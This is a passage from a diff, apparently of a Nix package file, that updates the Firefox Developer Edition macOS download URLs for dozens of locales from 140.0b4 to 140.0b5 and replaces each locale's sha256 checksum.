-      sha256 = "1317610e3c18cdbd81c9712cf7e6c3ae589952911347c027d3d3a271ff9b9f97";
+      sha256 = "98eb52e363b2bdaf4be579df53d5fcda9f61ba6fe0ea021be00e3ae4eef24924";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gn/Firefox%20140.0b5.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "5ed49bb2afa8c6e8197a20576e97957f0688c144605a5f1c35ebed14f7a1fc41";
+      sha256 = "ad81d8310d57e9f871eecc27943ed1130642c9621b7ddc1b1800bef8db084175";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gu-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gu-IN/Firefox%20140.0b5.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "3e4ac33879e91fa422d741f477e7c66f947041999732c5d7b7740f2abdc5bb86";
+      sha256 = "ef2567ffef364b7a90d69549ebaee0bdc1791db0f236492b41ee2a9ccbd8d70f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/he/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/he/Firefox%20140.0b5.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "94f832c1a5a952823ed1571ea3deaf3a9d115b837114a60e13732de0b8211f5d";
+      sha256 = "8720ef790fc80a8508996adb56cc4d0ca6ea86c098d3dd6a0e3dfe8309f0b3b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hi-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hi-IN/Firefox%20140.0b5.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "8e2cfbf7c7e015886592a9983390c56fd251ace396bba5f34b3a2593255b1161";
+      sha256 = "2918bbc9d199cb74938f54f5009def557fdfdcadec03ba7048ede47edb04f4a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hr/Firefox%20140.0b5.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "e48b5b93adf00da2e4a3ce0b4ec9afa2db03e962287d346de188df2c0d6133b8";
+      sha256 = "883da09b8860a1340691fcfb04f5b8665c4f497489cd4b0670e93288317472fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hsb/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hsb/Firefox%20140.0b5.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "7ab6ff54701b53b258bdb5bd1ab9679cf9acca9c987830d17246dae5d9f141fb";
+      sha256 = "9691f64a2cca90f19c0de44ffa92d897ab79cc9435dbe3fbb7ad8fa831b1b7b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hu/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hu/Firefox%20140.0b5.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "eec1b7f5d3274267d5c25b7aa3b774bf1b44d15801568c60cfe082064d7372b6";
+      sha256 = "3283f61dddd81f508dc58fe594f37bae973be39bbb6eb783dd19a644e8dc88ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/hy-AM/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/hy-AM/Firefox%20140.0b5.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "6347058b34660f414784b5f2782bcef72dbd6349461c4a2f0988cce9b9af6793";
+      sha256 = "e871812379227c2c06db83ab082cbc8b4f75b67a4676176f127628272bfc5f35";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ia/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ia/Firefox%20140.0b5.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "6772fdc20c9a174d0e411c57ae3a383fcc840225e6c3c65b052ca54ac2369621";
+      sha256 = "a829991bdb4c990daae07037d6047daecc7e3277a1122f1f983a8812990b9648";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/id/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/id/Firefox%20140.0b5.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "a4a4e7a132bddc604ea0b9b323339a730b58fdaa2a1c0c7f06f610149c9a4c58";
+      sha256 = "67d899f44ad9306ab978c00eb885df149ebbf6dd326a34075611980a2e25c81c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/is/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/is/Firefox%20140.0b5.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "e6e3f759fa1aa68736b851ae6438ca4eeb7513e7a0e993cb2774c52ed1f2e294";
+      sha256 = "b8498494c0b4de37276de5c75a43c846bc25c2fe8f69f59d4d36d55ae7b5eff4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/it/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/it/Firefox%20140.0b5.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "a0f8f2af64f04e6ba51a082860eb699902e5f5bc27dd995b9b97501d5bc7e0c0";
+      sha256 = "78db18219d6be4ea2edf84b8e2ede39140385c069a088291703c256da38ed7c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ja-JP-mac/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ja-JP-mac/Firefox%20140.0b5.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "3c248f77a15e06c4222760c2dc89d6a8b3f5d2e39772fbd503f35d6fd05aecaf";
+      sha256 = "1ffc9a14b28e03415157d31078f798ee9c65a89040c5e97fa1997fc2ee5352be";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ka/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ka/Firefox%20140.0b5.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "81a45186f076deb52152488cf38b4852b2e0b69e0e6838dc63345587d8d61e88";
+      sha256 = "f0da37860137d3ac987d0b736c0c9c50f4e937df1e4e0bc3d0966982332f76c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kab/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kab/Firefox%20140.0b5.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "84163f185798fc4975e974b3abc617cb04de4e0fcd0494536a9a51efbf8dba23";
+      sha256 = "a81e1d4dd438a1765e201c2dfe2da494f0c5212ee122041bb9f93348b9b6dedc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kk/Firefox%20140.0b5.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "66dc5ac5244e54c22f4ad71bc4653dd416f087008657f16d60d13ef031f96bcb";
+      sha256 = "ab6d96b83912e227644c01854b938df703fa6743fb7f9baae997ab80ca065ac5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/km/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/km/Firefox%20140.0b5.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "93436870b3cde5355505738fe2ff850d28632223eb4a872c4767961a422c8e3d";
+      sha256 = "42b8255377a61f1fb6967ded391204bea51c86554fefab9138b7848fcadd1ed6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/kn/Firefox%20140.0b5.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "955cec843ecc4360288a573888b15a257f75f39459157dd844208b012cbf8699";
+      sha256 = "77775d78528c08d22ce54fcd00dc977b7debc6f0b315a220bef7876d1da78eb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ko/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ko/Firefox%20140.0b5.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "c42535a9c379574d411cce6d4fd5830ccd77ac7b6c849aeba68436bdf82c1186";
+      sha256 = "70d12fe85b89d9834f9c7d0fd28959cbd839e5dc7ad0f2c07c794263fb0803bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lij/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lij/Firefox%20140.0b5.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "470bd5f04da762cf04914613dd6eec4c13c08fa47ad066ab7f078ae4867a2de1";
+      sha256 = "a61c7c1e3a4437817a97a82f8892cea11ed3cc2bde412b5a64b0966261d17b0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lt/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lt/Firefox%20140.0b5.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "47ddaf3acc3f3f19479f59d5fa10493376a53d00543fbbaa9822388ad99740e3";
+      sha256 = "41b77702aa68ca11f0a52a4baf60de49f9668f5cb0706802337591acd3406fdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lv/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/lv/Firefox%20140.0b5.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "2bdb8c87690c79515d28433f8a740bef9c6b65cdade4d34d6614bcb37c50b743";
+      sha256 = "bebeabd65c432b401191bacda6f939aab6c00e837a3233b369196db16a5f72cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/mk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/mk/Firefox%20140.0b5.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "eaa7cf469fe18e1af5f2ee1556f91061986bf78a86ba90b6c7b7ccbb65c6b419";
+      sha256 = "291213929ba1950abbdcbab35eb59e53aace3a60b3fbe634815c3ce24af22562";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/mr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/mr/Firefox%20140.0b5.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "2732019664cc9a05c401f690ee8b719dceac32d6ed9266d7ba325d9fe52fb85a";
+      sha256 = "e03bdf951d82b0962500171f0b232b1d3578f9a84e1eba78b41be19ff232e19b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ms/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ms/Firefox%20140.0b5.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "7e91bb6d012fd9536dd78297686a4812dfd9c4f74b6ba2c4c97311d479b76509";
+      sha256 = "011d7de785d36d20bb77bb5757399a062abfc1339de5dfb5611a029b3870601d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/my/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/my/Firefox%20140.0b5.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "83d5c8477be5836b515e0b535c29f7e47a1633ed3464deb57eb882d167d6732a";
+      sha256 = "438f8a5a989d17655ad7b71d38aa624659e90cdb6178e7094f1e27057362d104";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nb-NO/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nb-NO/Firefox%20140.0b5.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "4760c1beef65c7eac0af3722d9f57ab285d7e61c9313683a8c658fbdcc8db359";
+      sha256 = "0a964cbb07466468fa9d948c4dd2049f2cd3a5af268c38d27329f0b86ca1b9a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ne-NP/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ne-NP/Firefox%20140.0b5.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "85b109d9732666dccd91e987409f50832cddaf2e26d56adc9a8abb50fb086b33";
+      sha256 = "b4f2ecc4062c00c8af8e158f1c0eabc2f3a249b8ce411907cca3f32ed7259e9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nl/Firefox%20140.0b5.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "26626d2859d869ad67b8a99f9d0143a307a2998f941b0d8ffbc1b2c10c5d3aec";
+      sha256 = "1ba0773d4d0871dc1cef8c43195f0b0a409cd65d60cd52bdfb2be343310ef8dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nn-NO/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/nn-NO/Firefox%20140.0b5.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "51b8a1f43bc4fbf15a5723094f7f7b328da5a015751ec0691c98d4d2ce9f16ee";
+      sha256 = "ec1b194966c8b9131dec53e4886449ebaef57cc5a74b4c07f3f1300be45d89e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/oc/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/oc/Firefox%20140.0b5.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "a5a71e4caf90caa0d06bc4e25e1871165c9ebe8e710fabb2d52090cb823e5ead";
+      sha256 = "64db50d7cf8110fb07a52a051f679de87431e20a9e8b9cc7d70216392da864e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pa-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pa-IN/Firefox%20140.0b5.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "99c12506e095e94890dd10e684d0ca942809a3a37e2650efa72ae87e65e7b45c";
+      sha256 = "3aef49944cbcf028418aa2d00728f6234fb097943a92613de7cbd44f1fd00763";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pl/Firefox%20140.0b5.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "212018c48731d2ca8668642d2c050300a41c08d2a7abf5cdaa2b185dd9c3dcec";
+      sha256 = "11dcb8d1920b878241e0288d0bf5ab948d4e6715f614538aa37428809c45fe61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pt-BR/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pt-BR/Firefox%20140.0b5.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "a25b7e77f2d00bbf1d09cf3b70e8117de7a7ca8f561fe4baf15efa699a5c3d52";
+      sha256 = "b3be4818299c53c21bdc5f969ef1ef25f63184d3d2f6b64818ed0953b133e48d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pt-PT/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/pt-PT/Firefox%20140.0b5.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "e10958a717fa15b696221f011ca5bfe9b6e18d6956ef82fa0ed6bc760cb18ec8";
+      sha256 = "00e15c805509c1581807f30824b724886822f0ae3374c7915df02df7cf1b3103";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/rm/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/rm/Firefox%20140.0b5.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "8d7639036da625e60f72e51fce640bd2a447059f8fbf6a6b7209cf1d3a74e63f";
+      sha256 = "fcec910fe50b4048026300de226efb24102ba3b5f49414e3aeb654a53dd92021";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ro/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ro/Firefox%20140.0b5.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "498405a39a28c87cb46f2012b09124e51a3f99e25fe9498c1241594ecbfbf302";
+      sha256 = "190cec36a92228f5a378f27c06a13318436da437b5ea9aa7e952bae31a874495";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ru/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ru/Firefox%20140.0b5.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "29e979cd4639b9bbe6e9e44b79b5173a8f488286382533bb8cb815e4182af549";
+      sha256 = "44324c4801ee925644ea48529b303abda5bf1af1b0bafaa05b219bee85dd968e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sat/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sat/Firefox%20140.0b5.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "7e8f046e1b7446b15cba2e35a03b978b7308436176babd5ae284e318ee5367ef";
+      sha256 = "bd75841f7cc401cbde05c186ed05acb0cc0054def01a93746ef5635544d563d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sc/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sc/Firefox%20140.0b5.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "7ed54fe5b147236c4be842c04a8341bbcfce15d21b457b516c4ae7f5f36aa34c";
+      sha256 = "7a33465f018f499feb6d923c78a706d6a7b91a185142cde2888cd7f3c7bc0f91";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sco/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sco/Firefox%20140.0b5.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "5d4ee58fda8829d630ed0e6f4db3a45d0d45c26043d7899110939ecb00646a05";
+      sha256 = "6b375e9a10242a14962d3a32eacce685024604d1d01b94d34552836ede00dee1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/si/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/si/Firefox%20140.0b5.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "596172e11688ca78f9fe5da998723cd63f9772262457db36a2f5fddc0ee614f4";
+      sha256 = "00d743162f57c98c4d1dfb0d9dad8b054d396b837e904bf08769052efc5bd001";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sk/Firefox%20140.0b5.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "9830062f46a64e15681d39a5432a63cbc3175947df962e90f58d8c97d410e9fa";
+      sha256 = "e42ed7d1e3c27e0a0b9eda60cb62f8f80ca6efff1eb5bc760dc54ef332bc7dde";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/skr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/skr/Firefox%20140.0b5.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "99f5c37cf3fb9a2918e760ebbc77e5423903479cc77a869c600320a365e877f1";
+      sha256 = "8b8f25f4fca29cc8cdee2dc1b115dd61fbbba2b4e34182a44034237ce837883c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sl/Firefox%20140.0b5.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "1b3a3b8456a571948a6b0c15860b9931d66cc04740f653db136331b8ab0d8cdc";
+      sha256 = "33bc92c84f8898cfb651e3dbaa6e44d0d36cf25bcd18590709b6ebce20fe16ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/son/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/son/Firefox%20140.0b5.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "82ecd81aefd3a2e3ad39fa20bb733f4547fc32673e030456e31a28e6329365b4";
+      sha256 = "5ec0e3c5e1245ced15371f8004bb49c9347bcbeafec752bd9ec057a6e4fa80fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sq/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sq/Firefox%20140.0b5.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "125a5c6aa708de9b9c709860c2ea74dab9ba51f40f87faff801f7cb217151a29";
+      sha256 = "84c9d9c34363870bdfc7f6a6a5416cf5c533d785618c9d098782378c156474ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sr/Firefox%20140.0b5.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "35b4afe46484cb8ca9093d38fc155948474c80538c3b1721ce67eff9518c3993";
+      sha256 = "346f1cc1d9c66b339ea555d97965a32ba18e45e4991e08f098cd4ec848a60a87";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sv-SE/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/sv-SE/Firefox%20140.0b5.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "d84dfbef368b9b990726e5ee5fc8ad3437696d11747f74f5301d5a52fe2ebb5f";
+      sha256 = "54284aed0d3dfd716c0a709a5407b5a4de149da36e28d22dccd744f5a1386f3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/szl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/szl/Firefox%20140.0b5.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "74a2a1162ce5703807114d2c3a727db10d74367f22a97866b084e23293ea116d";
+      sha256 = "2f8c6f6a7b4ff6a4ae10cc8e613077ed44ed20686f4d774fd7b98902e9259c33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ta/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ta/Firefox%20140.0b5.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "fbe97f24739b24899b666a04b6e5513a1b03358bdf9d3622947da78013d39b80";
+      sha256 = "f9e32144bbb38db0e22affc83e57413dfbe95ae0227421a9957a28a4d5bd2ca2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/te/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/te/Firefox%20140.0b5.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "66516cc17b46140a59e08dec29b65a2c7abc3812279edb25f0f88b94740fae16";
+      sha256 = "8617d545a09b95120344c5e60a6e4819189a273a9f5607a781d5922cf83ad023";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tg/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tg/Firefox%20140.0b5.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "27143f96bc4a02a09b2b86d46b4322d1dd76cfea719c65e81f19666baf239210";
+      sha256 = "254bf6df96997dc2fe6bbb655bd6f46657d9a213a24829e446658ea9946ba463";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/th/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/th/Firefox%20140.0b5.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "8179a2e47faaba8943871443550f2d562a1e409c2af660f4adc93d3bf85ee810";
+      sha256 = "4cf71048da6a518b6cbeab880ec83d8c25f1ca46768c6f6804ec186964ea11e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tl/Firefox%20140.0b5.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "11a536ccb269258bfdf6810d86135cb8d5802071eb659886a2aff7e63ba2f5f1";
+      sha256 = "04b080f4db8874455ce062da8344a0197224d132ac9e548d1de491a76f27adb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/tr/Firefox%20140.0b5.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "46f88c04e1e7f2eb41344aae1f7d2ef6f0d49385c8c6a9aacf370a4f32632e6b";
+      sha256 = "3d168f13fb87266ff10a1f982cc98f40dbbacf9bead6193c5909941307964182";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/trs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/trs/Firefox%20140.0b5.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "07fd992c396199a92b09c93f7478411b788fb132bd2df4446a38ec6e0cf1960f";
+      sha256 = "16eccfd086ee2cffa37bf3851eb9422264276d6fb75eb3b095701f041820456b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/uk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/uk/Firefox%20140.0b5.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "e19dda81f715feaf6011d7f59033df2565db0ec623b7ceccd75538cb3dd7098f";
+      sha256 = "c8dc6ff629b92cec90cd81664135988b89cda7e92885b206ffb36be6af97a5cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ur/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ur/Firefox%20140.0b5.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "3fbf0c116482cb641b30db94ecba745df05a419f85eeb0c09180582baf5bb072";
+      sha256 = "d55d1df00cb1a89e256088d871f046e2c79b25d4f6c221e55072d8a52551aea2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/uz/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/uz/Firefox%20140.0b5.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "0e906f32a4ad896f80bdafc28a4cf86579de2ddb5c19dc7dc5a430f58ba68d2b";
+      sha256 = "f97a5bc25b935296e6f41a04e4ed33776f86a95767ccebbe184ac0491cd31f27";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/vi/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/vi/Firefox%20140.0b5.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "491126108cebab75a43eeb1fcf8e6a4659960055798488c469b2167956f4d6d4";
+      sha256 = "dfd48c9cdfe3aa8291a83c2cb174f098076168d76340e1c787cb1a2f6254c330";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/xh/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/xh/Firefox%20140.0b5.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "67f143f0d7d62772815a7554e74baff5f5fcbe51a58f1f095ec248ee3971cf97";
